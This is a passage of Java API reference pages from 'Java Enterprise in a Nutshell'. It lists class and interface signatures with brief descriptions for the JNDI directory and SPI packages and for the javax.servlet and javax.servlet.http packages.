Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->InvalidAttributesException

InvalidAttributeValueException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when an add or modification operation has specified an inappropriate value for the attribute type specified by the directory's schema.

public class InvalidAttributeValueException extends NamingException {
// | Public Constructors
 | public InvalidAttributeValueException ();
 | public InvalidAttributeValueException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->InvalidAttributeValueException

InvalidSearchControlsException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when a SearchControls object is invalid.

public class InvalidSearchControlsException extends NamingException {
// | Public Constructors
 | public InvalidSearchControlsException ();
 | public InvalidSearchControlsException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->InvalidSearchControlsException

InvalidSearchFilterException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when a search filter is invalid.

public class InvalidSearchFilterException extends NamingException {
// | Public Constructors
 | public InvalidSearchFilterException ();
 | public InvalidSearchFilterException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->InvalidSearchFilterException

ModificationItem | JNDI 1.1
javax.naming.directory | serializable

This class encapsulates an attribute that is to be modified and a code that determines the type of modification being performed.

public class ModificationItem implements Serializable {
// | Public Constructors
 | public ModificationItem (int mod_op, Attribute attr);
// | Public Instance Methods
 | public Attribute getAttribute ();
 | public int getModificationOp ();
// | Public methods overriding Object
 | public String toString ();
}

Hierarchy: Object-->ModificationItem(Serializable)

Passed To: AttributeModificationException.setUnexecutedModifications(), DirContext.modifyAttributes(), InitialDirContext.modifyAttributes()

Returned By: AttributeModificationException.getUnexecutedModifications()

NoSuchAttributeException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when a method attempts to access a nonexistent attribute.

public class NoSuchAttributeException extends NamingException {
// | Public Constructors
 | public NoSuchAttributeException ();
 | public NoSuchAttributeException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NoSuchAttributeException

SchemaViolationException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when a method violates schema rules.

public class SchemaViolationException extends NamingException {
// | Public Constructors
 | public SchemaViolationException ();
 | public SchemaViolationException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->SchemaViolationException

SearchControls | JNDI 1.1
javax.naming.directory | serializable

This class represents the information needed to control the behavior of the search() method of DirContext. Contains information that determines the scope of search, the maximum number of results returned by a search, the maximum amount of time permitted to return search results, and other data you can use to fine-tune the behavior of search operations.

public class SearchControls implements Serializable {
// | Public Constructors
 | public SearchControls (); |
 | public SearchControls (int scope, long countlim, int timelim, String[ ] attrs, boolean retobj, boolean deref); |
// | Public Constants
 | public static final int OBJECT_SCOPE ; | =0
 | public static final int ONELEVEL_SCOPE ; | =1
 | public static final int SUBTREE_SCOPE ; | =2
// | Public Instance Methods
 | public long getCountLimit (); | default:0
 | public boolean getDerefLinkFlag (); | default:false
 | public String[ ] getReturningAttributes (); | default:null
 | public boolean getReturningObjFlag (); | default:false
 | public int getSearchScope (); | default:1
 | public int getTimeLimit (); | default:0
 | public void setCountLimit (long limit); |
 | public void setDerefLinkFlag (boolean on); |
 | public void setReturningAttributes (String[ ] attrs); |
 | public void setReturningObjFlag (boolean on); |
 | public void setSearchScope (int scope); |
 | public void setTimeLimit (int ms); |
}

Hierarchy: Object-->SearchControls(Serializable)

Passed To: DirContext.search(), InitialDirContext.search()

SearchResult | JNDI 1.1
javax.naming.directory | serializable

This class represents a result of performing a search() method on a DirContext. It is a subclass of javax.naming.Binding. You can perform directory operations on a SearchResult without first having to look up the object in the directory. Each search() method actually returns an NamingEnumeration of SearchResults objects.

public class SearchResult extends javax.naming.Binding {
// | Public Constructors
 | public SearchResult (String name, Object obj, Attributes attrs);
 | public SearchResult (String name, String className, Object obj, Attributes attrs);
 | public SearchResult (String name, Object obj, Attributes attrs, boolean isRelative);
 | public SearchResult (String name, String className, Object obj, Attributes attrs, boolean isRelative);
// | Public Instance Methods
 | public Attributes getAttributes ();
 | public void setAttributes (Attributes attrs);
// | Public methods overriding Binding
 | public String toString ();
}

Hierarchy: Object-->NameClassPair(Serializable)-->javax.naming.Binding-->SearchResult

Previous | Home | Next
22.1. The javax.naming Package | Book Index | 24. The javax.naming.spi Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.naming.spi Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 24. The javax.naming.spi Package

The javax.naming.spi package defines the service provider interface (SPI) for JNDI. Only system programmers who are developing JNDI providers need to use this package; JNDI application programmers can ignore it. The classes and interfaces in this package allow JNDI service providers to be plugged in underneath the JNDI API. Figure 24-1 shows the hierarchy of this package.

Figure 24-1. The javax.naming.spi package

DirectoryManager JNDI 1.1
javax.naming.spi

DirectoryManager is a subclass of NamingManager that contains a method for creating javax.naming.directory.DirContext objects.

public class DirectoryManager extends NamingManager {
// | No Constructor
// | Public Class Methods
 | public static javax.naming.directory.DirContext getContinuationDirContext (CannotProceedException cpe) throws NamingException;
}

Hierarchy: Object-->NamingManager-->DirectoryManager

InitialContextFactory JNDI 1.1
javax.naming.spi

This interface represents a factory that creates an initial context for a naming or directory service. The initial context serves as the entry point into the service. A JNDI service provider always includes an InitialContextFactory that can be used as the value of the java.naming.factory.initial property

public abstract interface InitialContextFactory {
// | Public Instance Methods
 | public abstract javax.naming.Context getInitialContext (java.util.Hashtable environment) throws NamingException;
}

Returned By: InitialContextFactoryBuilder.createInitialContextFactory()

InitialContextFactoryBuilder JNDI 1.1
javax.naming.spi

This interface represents a builder that creates initial context factories. A program can override the default initial context factory builder by calling NamingManager.setInitialContextFactoryBuilder() and specifying a new builder. Such a builder must implement this interface.

public abstract interface InitialContextFactoryBuilder {
// | Public Instance Methods
 | public abstract InitialContextFactory createInitialContextFactory (java.util.Hashtable environment) throws NamingException;
}

Passed To: NamingManager.setInitialContextFactoryBuilder()

NamingManager JNDI 1.1
javax.naming.spi

The NamingManager class contains methods for creating javax.naming.Context objects and otherwise controlling the operation of the underlying service provider.

public class NamingManager {
// | No Constructor
// | Public Class Methods
 | public static javax.naming.Context getContinuationContext (CannotProceedException cpe) throws NamingException; |
 | public static javax.naming.Context getInitialContext (java.util.Hashtable environment) throws NamingException; |
 | public static Object getObjectInstance (Object refInfo, Name name, javax.naming.Context nameCtx, java.util.Hashtable environment) throws Exception; |
 | public static javax.naming.Context getURLContext (String scheme, java.util.Hashtable environment) throws NamingException; |
 | public static boolean hasInitialContextFactoryBuilder (); | synchronized
 | public static void setInitialContextFactoryBuilder (InitialContextFactoryBuilder builder) throws NamingException; | synchronized
 | public static void setObjectFactoryBuilder (ObjectFactoryBuilder builder) throws NamingException; | synchronized
}

Subclasses: DirectoryManager

ObjectFactory JNDI 1.1
javax.naming.spi

This interface represents a factory for creating objects. JNDI supports the dynamic loading of object implementations with object factories. For example, say you have a naming system that binds file objects to names in the namespace. If the filesystem service provider binds filenames to Reference objects, a Reference object can create a file object through an object factory. This means that a call to lookup() a filename (in the appropriate Context) returns an actual file object the programmer can manipulate as necessary. An ObjectFactory is responsible for creating objects of a specific type.

public abstract interface ObjectFactory {
// | Public Instance Methods
 | public abstract Object getObjectInstance (Object obj, Name name, javax.naming.Context nameCtx, java.util.Hashtable environment) throws Exception;
}

Returned By: ObjectFactoryBuilder.createObjectFactory()

ObjectFactoryBuilder JNDI 1.1
javax.naming.spi

This interface represents a builder that creates object factories. A program can override the default object factory builder by calling NamingManager.setObjectFactoryBuilder() and specifying a new builder. Such a builder must implement this interface.

public abstract interface ObjectFactoryBuilder {
// | Public Instance Methods
 | public abstract ObjectFactory createObjectFactory (Object obj, java.util.Hashtable info) throws NamingException;
}

Passed To: NamingManager.setObjectFactoryBuilder()

Resolver JNDI 1.1
javax.naming.spi

The Resolver interface contains methods that are implemented by objects that can act as intermediate contexts for naming resolution purposes.

public abstract interface Resolver {
// | Public Instance Methods
 | public abstract ResolveResult resolveToClass (Name name, Class contextType) throws NamingException;
 | public abstract ResolveResult resolveToClass (String name, Class contextType) throws NamingException;
}
ResolveResult JNDI 1.1
javax.naming.spi

This class represents the result of resolving a name.

public class ResolveResult {
// | Public Constructors
 | public ResolveResult (Object robj, Name rname);
 | public ResolveResult (Object robj, String rcomp);
// | Protected Constructors
 | protected ResolveResult ();
// | Public Instance Methods
 | public void appendRemainingComponent (String name);
 | public void appendRemainingName (Name name);
 | public Name getRemainingName ();
 | public Object getResolvedObj ();
 | public void setRemainingName (Name name);
 | public void setResolvedObj (Object obj);
// | Protected Instance Fields
 | protected Name remainingName ;
 | protected Object resolvedObj ;
}

Returned By: Resolver.resolveToClass()

Previous | Home | Next
23.1. The javax.naming.directory Package | Book Index | 25. The javax.servlet Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.servlet Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 25. The javax.servlet Package

The javax.servlet package is the core of the Servlet API. It contains the classes necessary for a standard, protocol-independent servlet. Every servlet must implement the Servlet interface in one form or another. The abstract GenericServlet class provides the framework for developing basic servlets. The package also includes a variety of utility classes that communicate with the server and the client. Figure 25-1 shows the class hierarchy of this package.

Figure 25-1. The javax.servlet package

GenericServlet | Servlets 1.0
javax.servlet | serializable

The GenericServlet class provides a basic implementation of the Servlet and ServletConfig interfaces. If you are creating a protocol-independent servlet, you probably want to subclass this class rather than implement the Servlet interface directly. Note that the service() method is declared as abstract; this is the only method you have to override to implement a generic servlet.

GenericServlet includes basic implementations of the init() and destroy() methods, which perform basic setup and cleanup tasks, respectively. The init() method that takes a ServletConfig object stores that object for later use. This means that if you override the method and fail to call the super.init(ServletConfig) method, you won't be able to use the ServletConfig methods later. In Version 2.1 of the Servlet API, you can override a no-argument version of init() that is dispatched by the default init(ServletConfig) method of GenericServlet.

public abstract class GenericServlet implements Servlet, ServletConfig, Serializable {
// | Public Constructors
 | public GenericServlet (); |
// | Public Instance Methods
2.1 | public void init () throws ServletException; | empty
 | public void log (String msg); |
2.1 | public void log (String message, Throwable t); |
// | Methods implementing Servlet
 | public void destroy (); |
 | public ServletConfig getServletConfig (); |
 | public String getServletInfo (); |
 | public void init (ServletConfig config) throws ServletException; |
 | public abstract void service (ServletRequest req, ServletResponse res) throws ServletException, IOException; |
// | Methods implementing ServletConfig
 | public String getInitParameter (String name); |
 | public java.util.Enumeration getInitParameterNames (); |
 | public ServletContext getServletContext (); |
}

Hierarchy: Object-->GenericServlet(Servlet,ServletConfig,Serializable)

Subclasses: javax.servlet.http.HttpServlet

RequestDispatcher Servlets 2.1
javax.servlet

RequestDispatcher allows a servlet to delegate some or all of the processing of a request to another resource on the web server. A RequestDispatcher object is retrieved by calling the getRequestDispatcher() method on the ServletContext object. The forward() method passes a request on to another servlet for processing, while the include() method includes the output of another servlet in the output of the current servlet.

public interface RequestDispatcher {
// | Public Instance Methods
 | public abstract void forward (ServletRequest request, ServletResponse response) throws ServletException, IOException;
 | public abstract void include (ServletRequest request, ServletResponse response) throws ServletException, IOException;
}

Returned By: ServletContext.getRequestDispatcher()

Servlet Servlets 1.0
javax.servlet

The Servlet interface defines the basic structure of a servlet. All servlets implement this interface, either directly or by subclassing a class that does. The interface declares the basic servlet functionality: initializing a servlet, handling client requests, and destroying a servlet.

init() is called when the servlet is first initialized. Since init() creates resources the servlet can reuse, it is guaranteed to finish executing before the servlet handles any client requests. The server calls the service() method for each client request. The servlet interacts with the client via ServletRequest and ServletResponse objects passed to service(). destroy() is called to clean up resources (such as database connections) or save state when the server shuts down. The getServletInfo() method should return a String that describes a servlet, and the getServletConfig() method should return the ServletConfig object that was passed to the init() method.

public interface Servlet {
// | Public Instance Methods
 | public abstract void destroy ();
 | public abstract ServletConfig getServletConfig ();
 | public abstract String getServletInfo ();
 | public abstract void init (ServletConfig config) throws ServletException;
 | public abstract void service (ServletRequest req, ServletResponse res) throws ServletException, IOException;
}

Implementations: GenericServlet

Passed To: UnavailableException.UnavailableException()

Returned By: ServletContext.getServlet(), UnavailableException.getServlet()

ServletConfig Servlets 1.0
javax.servlet

A ServletConfig object passes configuration information from the server to a servlet. ServletConfig supports initialization parameters (also known simply as init parameters) defined by the server administrator for a particular servlet. These parameters are accessed via the getInitParameter() and getInitParameterNames() methods. ServletConfig also includes a ServletContext object, accessible via getServletContext(), for direct interaction with the server.

public interface ServletConfig {
// | Public Instance Methods
 | public abstract String getInitParameter (String name);
 | public abstract java.util.Enumeration getInitParameterNames ();
 | public abstract ServletContext getServletContext ();
}

Implementations: GenericServlet

Passed To: GenericServlet.init(), Servlet.init()

Returned By: GenericServlet.getServletConfig(), Servlet.getServletConfig()

ServletContext Servlets 1.0
javax.servlet

ServletContext defines methods that allow a servlet to interact with the host server. This includes reading server-specific attributes, finding information about particular files located on the server, and writing to the server log files. If there are several virtual servers running, each one may return a different ServletContext.

Servlets can also use ServletContext to interact with other servlets loaded on the same server. In Version 1.0 of the Servlet API, this was done via the getServlets() method. In Version 2.0, getServlets() was deprecated in favor of getServlet() and getServletNames(). In Version 2.1, getServlet() and getServletNames() were both deprecated in favor of the new setAttribute() and getAttribute() methods.

public interface ServletContext {
// | Public Instance Methods
 | public abstract Object getAttribute (String name);
2.1 | public abstract java.util.Enumeration getAttributeNames ();
2.1 | public abstract ServletContext getContext (String uripath);
2.1 | public abstract int getMajorVersion ();
 | public abstract String getMimeType (String file);
2.1 | public abstract int getMinorVersion ();
 | public abstract String getRealPath (String path);
2.1 | public abstract RequestDispatcher getRequestDispatcher (String urlpath);
2.1 | public abstract java.net.URL getResource (String path) throws java.net.MalformedURLException;
2.1 | public abstract java.io.InputStream getResourceAsStream (String path);
 | public abstract String getServerInfo ();
 | public abstract void log (String msg);
2.1 | public abstract void log (String message, Throwable throwable);
2.1 | public abstract void removeAttribute (String name);
2.1 | public abstract void setAttribute (String name, Object object);
// | Deprecated Public Methods
# | public abstract Servlet getServlet (String name) throws ServletException;
2.0# | public abstract java.util.Enumeration getServletNames ();
# | public abstract java.util.Enumeration getServlets ();
2.0# | public abstract void log (Exception exception, String msg);
}

Returned By: GenericServlet.getServletContext(), ServletConfig.getServletContext(), ServletContext.getContext()

ServletException | Servlets 1.0
javax.servlet | serializable checked

A generic Exception class used for basic servlet errors. In version 2.1, a servlet can specify a Throwable root cause for this exception (using the constructors that accept Throwable parameters). The root cause can be retrieved with the getRootCause() method.

public class ServletException extends Exception {
// | Public Constructors
2.0 | public ServletException (); |
2.1 | public ServletException (Throwable rootCause); |
 | public ServletException (String message); |
2.1 | public ServletException (String message, Throwable rootCause); |
// | Public Instance Methods
2.1 | public Throwable getRootCause (); | default:null
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ServletException

Subclasses: UnavailableException

Thrown By: GenericServlet.{init(), service()}, RequestDispatcher.{forward(), include()}, Servlet.{init(), service()}, ServletContext.getServlet(), javax.servlet.http.HttpServlet.{doDelete(), doGet(), doOptions(), doPost(), doPut(), doTrace(), service()}

ServletInputStream Servlets 1.0
javax.servlet

ServletInputStream provides an input stream for reading data from a client request. A servlet can get a ServletInputStream by calling the getInputStream() method of ServletRequest. While ServletInputStream does contain a readLine() method for reading textual data one line at a time, this functionality was taken over by BufferedReader objects and the getReader() method of ServletRequest in Version 2.0 of the Servlet API. Thus, ServletInputStream should be used only to read binary data, generally in the context of a filtering servlet.

public abstract class ServletInputStream extends java.io.InputStream {
// | Protected Constructors
 | protected ServletInputStream ();
// | Public Instance Methods
 | public int readLine (byte ] b, int off, int len) throws IOException;
}

Hierarchy: Object-->java.io.InputStream-->ServletInputStream

Passed To: javax.servlet.http.HttpUtils.parsePostData()

Returned By: ServletRequest.getInputStream()

ServletOutputStream Servlets 1.0
javax.servlet

ServletOutputStream provides an output stream for sending binary data back to a client. A servlet can get a ServletOutputStream by calling the getOutputStream() method of ServletResponse. ServletOutputStream was the only available output method in Version 1.0 of the Servlet API. For text and HTML output, it has been supplanted by PrintWriter objects produced by the getWriter() method of ServletResponse. The various print() and println() methods should therefore be regarded as legacies.

public abstract class ServletOutputStream extends java.io.OutputStream {
// | Protected Constructors
 | protected ServletOutputStream ();
// | Public Instance Methods
 | public void print (long l) throws IOException;
 | public void print (float f) throws IOException;
 | public void print (double d) throws IOException;
 | public void print (int i) throws IOException;
 | public void print (String s) throws IOException;
 | public void print (boolean b) throws IOException;
 | public void print (char c) throws IOException;
 | public void println () throws IOException;
 | public void println (long l) throws IOException;
 | public void println (float f) throws IOException;
 | public void println (double d) throws IOException;
 | public void println (int i) throws IOException;
 | public void println (String s) throws IOException;
 | public void println (boolean b) throws IOException;
 | public void println (char c) throws IOException;
}

Hierarchy: Object-->java.io.OutputStream-->ServletOutputStream

Returned By: ServletResponse.getOutputStream()

ServletRequest Servlets 1.0
javax.servlet

A ServletRequest object encapsulates information about a client request. The server passes a ServletRequest object to the service() method of a servlet. ServletRequest provides access to request parameters, such as form values or other request-specific parameters. These are accessed using the getParameterNames(), getParameter(), and getParameterValues() methods. Raw request data can be read by the getReader() method (for textual data) and the getInputStream() method (for binary data). The getContentType(), getContentLength(), and getCharacterEncoding() methods can help retrieve this information. Other methods provide information about the client (getRemoteAddr(), getRemoteHost()), the request itself (getScheme(), getProtocol()), and the server (getServerName(), getServerPort()). Version 2.1 also adds the getAttribute() and setAttribute() methods, which are generally used with the new RequestDispatcher interface.

public interface ServletRequest {
// | Public Instance Methods
 | public abstract Object getAttribute (String name);
2.1 | public abstract java.util.Enumeration getAttributeNames ();
2.0 | public abstract String getCharacterEncoding ();
 | public abstract int getContentLength ();
 | public abstract String getContentType ();
 | public abstract ServletInputStream getInputStream () throws IOException;
 | public abstract String getParameter (String name);
 | public abstract java.util.Enumeration getParameterNames ();
 | public abstract String[ ] getParameterValues (String name);
 | public abstract String getProtocol ();
2.0 | public abstract BufferedReader getReader () throws IOException;
 | public abstract String getRemoteAddr ();
 | public abstract String getRemoteHost ();
 | public abstract String getScheme ();
 | public abstract String getServerName ();
 | public abstract int getServerPort ();
2.1 | public abstract void setAttribute (String key, Object o);
// | Deprecated Public Methods
# | public abstract String getRealPath (String path);
}

Implementations: javax.servlet.http.HttpServletRequest

Passed To: GenericServlet.service(), RequestDispatcher.{forward(), include()}, Servlet.service(), javax.servlet.http.HttpServlet.service()

ServletResponse Servlets 1.0
javax.servlet

The ServletResponse object sends MIME-encoded data back to the client. The interface defines a getOutputStream() method that returns a ServletOutputStream for sending binary data and a getWriter() method that returns a PrintWriter for sending textual data. The setContentType() and setContentLength() methods can explicitly set the content type and content length (often necessary for keep-alive connections and other tasks). If you call setContentType(), you should do so before you call getWriter(), as getWriter() consults the content type to determine which charset to use.

public interface ServletResponse {
// | Public Instance Methods
2.0 | public abstract String getCharacterEncoding ();
 | public abstract ServletOutputStream getOutputStream () throws IOException;
2.0 | public abstract PrintWriter getWriter () throws IOException;
 | public abstract void setContentLength (int len);
 | public abstract void setContentType (String type);
}

Implementations: javax.servlet.http.HttpServletResponse

Passed To: GenericServlet.service(), RequestDispatcher.{forward(), include()}, Servlet.service(), javax.servlet.http.HttpServlet.service()

SingleThreadModel Servlets 2.0
javax.servlet

SingleThreadModel is a tag interface that tells the server to create a pool of servlet instances to serve individual requests. In this case, the server ensures that each instance of the servlet handles only one service request at a time. SingleThreadModel provides easy thread safety, but imposes performance penalties.

public interface SingleThreadModel {
}
UnavailableException | Servlets 1.0
javax.servlet | serializable checked

An UnavailableException indicates that a servlet is unable to handle client requests, either temporarily or permanently. To specify temporary unavailability, use the three-argument constructor and specify the duration of the servlet's downtime. If a servlet specifies temporary unavailability, the server may (but is not required to) attempt to reload the servlet after the specified interval.

public class UnavailableException extends ServletException {
// | Public Constructors
 | public UnavailableException (Servlet servlet, String msg);
 | public UnavailableException (int seconds, Servlet servlet, String msg);
// | Public Instance Methods
 | public Servlet getServlet ();
 | public int getUnavailableSeconds ();
 | public boolean isPermanent ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ServletException-->UnavailableException

Previous | Home | Next
24.1. The javax.naming.spi Package | Book Index | 26. The javax.servlet.http Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.servlet.http Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 26. The javax.servlet.http Package

The javax.servlet.http package supports the development of servlets that use the HTTP protocol. The classes in this package extend the basic servlet functionality to support various HTTP specific features, including request and response headers, different request methods, and cookies. The abstract HttpServlet class extends javax.servlet.GenericServlet and serves as the base class for HTTP servlets. HttpServlet-Request and HttpServletResponse allow additional interaction with the client. Finally, since the HTTP protocol is inherently stateless, the package also includes HttpSession and some related classes to support session tracking. Figure 26-1 shows the class hierarchy of this package.

Figure 26-1. The javax.servlet.http package

Cookie | Servlets 2.0
javax.servlet.http | cloneable

The Cookie class provides servlets with an easy way to read, create, and manipulate HTTP-style cookies. Cookies provide a way to store a small amount of information on the client and are typically used for session tracking or storing user-configuration information. The getCookies() method of HttpServletRequest returns an array of Cookie objects. To set a new cookie on the client, a servlet creates a new Cookie object and uses the addCookie() method of HttpServletResponse. This must be done before sending any other content, since cookies are created within the HTTP header stream. The various methods of the Cookie class allow a servlet to set and get various attributes of a Cookie object, such as its path and domain.

public class Cookie implements Cloneable {
// | Public Constructors
 | public Cookie (String name, String value);
// | Public Instance Methods
 | public String getComment ();
 | public String getDomain ();
 | public int getMaxAge ();
 | public String getName ();
 | public String getPath ();
 | public boolean getSecure ();
 | public String getValue ();
 | public int getVersion ();
 | public void setComment (String purpose);
 | public void setDomain (String pattern);
 | public void setMaxAge (int expiry);
 | public void setPath (String uri);
 | public void setSecure (boolean flag);
 | public void setValue (String newValue);
 | public void setVersion (int v);
// | Public methods overriding Object
 | public Object clone ();
}

Hierarchy: Object-->Cookie(Cloneable)

Passed To: HttpServletResponse.addCookie()

Returned By: HttpServletRequest.getCookies()

HttpServlet | Servlets 1.0
javax.servlet.http | serializable

The abstract HttpServlet class serves as a framework for servlets that generate content for the World Wide Web using the HTTP protocol. Rather than overriding the service() method, you should override one or more of the method-specific request handlers (doGet(), doPost(), doPut(), etc.). The default service() implementation dispatches incoming requests to the appropriate methods, and so should not be overridden. The default implementations of doGet(), doPost(), doDelete(), and doPut() all return an HTTP BAD_REQUEST error, so if you want to handle one of these kinds of requests, you must override the appropriate method.

A web server calls getLastModified() in response to conditional GET requests. The default implementation returns -1. If you know when the output of your servlet last changed, you can return that time, specified in milliseconds since midnight, January 1, 1970 GMT, instead. This allows web browsers to cache your servlet's response.

public abstract class HttpServlet extends GenericServletimplements Serializable {
// | Public Constructors
 | public HttpServlet ();
// | Public methods overriding GenericServlet
 | public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException;
// | Protected Instance Methods
2.0 | protected void doDelete (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException;
 | protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException;
2.0 | protected void doOptions (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException;
 | protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException;
2.0 | protected void doPut (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException;
2.0 | protected void doTrace (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException;
 | protected long getLastModified (HttpServletRequest req);
 | protected void service (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException;
}

Hierarchy: Object-->GenericServlet(Servlet,ServletConfig,Serializable)-->HttpServlet(Serializable)

HttpServletRequest Servlets 1.0
javax.servlet.http

HttpServletRequest extends javax.servlet.ServletRequest and provides a number of methods that make it easy to access specific information related to an HTTP request. This includes methods for directly accessing HTTP headers: getHeader(), getIntHeader(), getDateHeader(), and getHeaderNames(). Other methods return various information about the request, including getMethod(), which returns the request method (GET, POST, etc), getPathInfo(), which returns any extra path information attached to the request, getPathTranslated(), which translates the extra path information into a filesystem path, and getServletPath(), which returns the URI pointing to the current servlet, minus any extra path information. The interface also includes the getCookies() method for retrieving cookie data and getSession() for accessing the current HttpSession object.

public interface HttpServletRequest extends ServletRequest {
// | Public Instance Methods
 | public abstract String getAuthType ();
2.0 | public abstract Cookie[ ] getCookies ();
 | public abstract long getDateHeader (String name);
 | public abstract String getHeader (String name);
 | public abstract java.util.Enumeration getHeaderNames ();
 | public abstract int getIntHeader (String name);
 | public abstract String getMethod ();
 | public abstract String getPathInfo ();
 | public abstract String getPathTranslated ();
 | public abstract String getQueryString ();
 | public abstract String getRemoteUser ();
2.0 | public abstract String getRequestedSessionId ();
 | public abstract String getRequestURI ();
 | public abstract String getServletPath ();
2.1 | public abstract HttpSession getSession ();
2.0 | public abstract HttpSession getSession (boolean create);
2.0 | public abstract boolean isRequestedSessionIdFromCookie ();
2.1 | public abstract boolean isRequestedSessionIdFromURL ();
2.0 | public abstract boolean isRequestedSessionIdValid ();
// | Deprecated Public Methods
2.0# | public abstract boolean isRequestedSessionIdFromUrl ();
}

Hierarchy: (HttpServletRequest(ServletRequest))

Passed To: HttpServlet.{doDelete(), doGet(), doOptions(), doPost(), doPut(), doTrace(), getLastModified(), service()}, HttpUtils.getRequestURL()

HttpServletResponse Servlets 1.0
javax.servlet.http

HttpServletResponse extends javax.servlet.ServletResponse and provides additional methods for HTTP-specific actions and a set of HTTP response code constants. The containsHeader(), setHeader(), setDateHeader(), and setIntHeader() methods allow servlets to set and update specific HTTP response headers. The addCookie() method writes a cookie, represented by a Cookie object, to the client. The sendError() and setStatus() methods allow servlets to set specific HTTP result codes, along with an optional customized error message. The encodeUrl() and encodeRedirectUrl() methods (deprecated in 2.1 in favor of encodeURL() and encodeRedirectURL()) methods support session tracking without the use of cookies. The sendRedirect() method handles an HTTP page redirect.

public interface HttpServletResponse extends ServletResponse {
// | Public Constants
 | public static final int SC_ACCEPTED ; | =202
 | public static final int SC_BAD_GATEWAY ; | =502
 | public static final int SC_BAD_REQUEST ; | =400
2.0 | public static final int SC_CONFLICT ; | =409
2.0 | public static final int SC_CONTINUE ; | =100
 | public static final int SC_CREATED ; | =201
 | public static final int SC_FORBIDDEN ; | =403
2.0 | public static final int SC_GATEWAY_TIMEOUT ; | =504
2.0 | public static final int SC_GONE ; | =410
2.0 | public static final int SC_HTTP_VERSION_NOT_SUPPORTED ; | =505
 | public static final int SC_INTERNAL_SERVER_ERROR ; | =500
2.0 | public static final int SC_LENGTH_REQUIRED ; | =411
2.0 | public static final int SC_METHOD_NOT_ALLOWED ; | =405
 | public static final int SC_MOVED_PERMANENTLY ; | =301
 | public static final int SC_MOVED_TEMPORARILY ; | =302
2.0 | public static final int SC_MULTIPLE_CHOICES ; | =300
 | public static final int SC_NO_CONTENT ; | =204
2.0 | public static final int SC_NON_AUTHORITATIVE_INFORMATION ; | =203
2.0 | public static final int SC_NOT_ACCEPTABLE ; | =406
 | public static final int SC_NOT_FOUND ; | =404
 | public static final int SC_NOT_IMPLEMENTED ; | =501
 | public static final int SC_NOT_MODIFIED ; | =304
 | public static final int SC_OK ; | =200
2.0 | public static final int SC_PARTIAL_CONTENT ; | =206
2.0 | public static final int SC_PAYMENT_REQUIRED ; | =402
2.0 | public static final int SC_PRECONDITION_FAILED ; | =412
2.0 | public static final int SC_PROXY_AUTHENTICATION_REQUIRED ; | =407
2.0 | public static final int SC_REQUEST_ENTITY_TOO_LARGE ; | =413
2.0 | public static final int SC_REQUEST_TIMEOUT ; | =408
2.0 | public static final int SC_REQUEST_URI_TOO_LONG ; | =414
2.0 | public static final int SC_RESET_CONTENT ; | =205
2.0 | public static final int SC_SEE_OTHER ; | =303
 | public static final int SC_SERVICE_UNAVAILABLE ; | =503
2.0 | public static final int SC_SWITCHING_PROTOCOLS ; | =101
 | public static final int SC_UNAUTHORIZED ; | =401
2.0 | public static final int SC_UNSUPPORTED_MEDIA_TYPE ; | =415
2.0 | public static final int SC_USE_PROXY ; | =305
// | Public Instance Methods
2.0 | public abstract void addCookie (Cookie cookie); |
 | public abstract boolean containsHeader (String name); |
2.1 | public abstract String encodeRedirectURL (String url); |
2.1 | public abstract String encodeURL (String url); |
 | public abstract void sendError (int sc) throws IOException; |
 | public abstract void sendError (int sc, String msg) throws IOException; |
 | public abstract void sendRedirect (String location) throws IOException; |
 | public abstract void setDateHeader (String name, long date); |
 | public abstract void setHeader (String name, String value); |
 | public abstract void setIntHeader (String name, int value); |
 | public abstract void setStatus (int sc); |
// | Deprecated Public Methods
2.0# | public abstract String encodeRedirectUrl (String url); |
2.0# | public abstract String encodeUrl (String url); |
# | public abstract void setStatus (int sc, String sm); |
}

Hierarchy: (HttpServletResponse(ServletResponse))

Passed To: HttpServlet.{doDelete(), doGet(), doOptions(), doPost(), doPut(), doTrace(), service()}

HttpSession Servlets 2.0
javax.servlet.http

The HttpSession interface is the core of the session tracking functionality introduced in Version 2.0 of the Servlet API. A servlet obtains an HttpSession objects from the getSession() method of HttpServletRequest. The putValue() and removeValue() methods bind Java objects to a particular session. When possible, bound objects should be (but do not need to be) serializable. getValueNames() returns a String array that contains the names of all objects bound to the session.

public interface HttpSession {
// | Public Instance Methods
 | public abstract long getCreationTime ();
 | public abstract String getId ();
 | public abstract long getLastAccessedTime ();
2.1 | public abstract int getMaxInactiveInterval ();
 | public abstract Object getValue (String name);
 | public abstract String[ ] getValueNames ();
 | public abstract void invalidate ();
 | public abstract boolean isNew ();
 | public abstract void putValue (String name, Object value);
 | public abstract void removeValue (String name);
2.1 | public abstract void setMaxInactiveInterval (int interval);
// | Deprecated Public Methods
# | public abstract HttpSessionContext getSessionContext ();
}

Passed To: HttpSessionBindingEvent.HttpSessionBindingEvent()

